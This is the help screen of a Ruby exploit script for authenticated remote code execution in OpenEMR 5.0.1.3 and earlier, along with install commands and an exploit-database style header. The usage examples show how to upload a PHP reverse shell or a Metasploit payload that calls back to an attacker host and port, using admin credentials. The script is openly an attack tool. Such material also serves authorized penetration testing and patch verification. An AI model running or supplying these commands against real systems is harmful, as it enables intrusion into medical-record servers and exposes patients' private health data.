$ ruby exploit.rb --help
OpenEMR <= 5.0.1.4 - (Authenticated) Remote Code Execution

Usage:
  exploit.rb manual --root-url <url> --shell <filename> --user <username> --password <password> [--debug]
  exploit.rb semi-auto --root-url <url> --user <username> --password <password> --payload <payload> --lhost <host> --lport <port> [--debug]
  exploit.rb auto --root-url <url> --user <username> --password <password> --lhost <host> --lport <port> [--debug]
  exploit.rb -H | --help

Options:
  -r <url>, --root-url <url>            Root URL (base path) including HTTP scheme, port and root folder
  -s <filename>, --shell <filename>     Filename of the PHP reverse shell payload
  -u <username>, --user <username>      Username of the admin
  -p <password>, --password <password>  Password of the admin
  -m <payload>, --payload <payload>     Metasploit PHP payload
  -h <host>, --lhost <host>             Reverse shell local host
  -t <port>, --lport <port>             Reverse shell local port
  --debug                               Display arguments
  -H, --help                            Show this screen

Examples:
  exploit.rb manual -r http://example.org/openemr -s myRevShell.php -u admin -p pass123
  exploit.rb semi-auto -r http://example.org:8080/openemr -u admin_emr -p qwerty2020 -m 'php/reverse_php' -h 10.0.0.2 -t 8888
  exploit.rb auto -r https://example.org:4443 -u admin_usr -p rock5 -h 192.168.0.2 -t 9999

pacman -S ruby-httpclient ruby-docopt metasploit

gem install httpclient docopt

Exploit Author: Musyoka Ian
Date: 2020-05-25
Vendor Homepage: https://www.open-emr.org/
Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
Dockerfile: https://github.com/haccer/exploits/blob/master/OpenEMR-RCE/Dockerfile 
Version: < 5.0.1 (Patch 4)
Tested on: Ubuntu LAMP, OpenEMR Version 5.0.1.3
References: https://medium.com/@musyokaian/openemr-version-5-0-1-remote-code-execution-vulnerability-2f8fd8644a69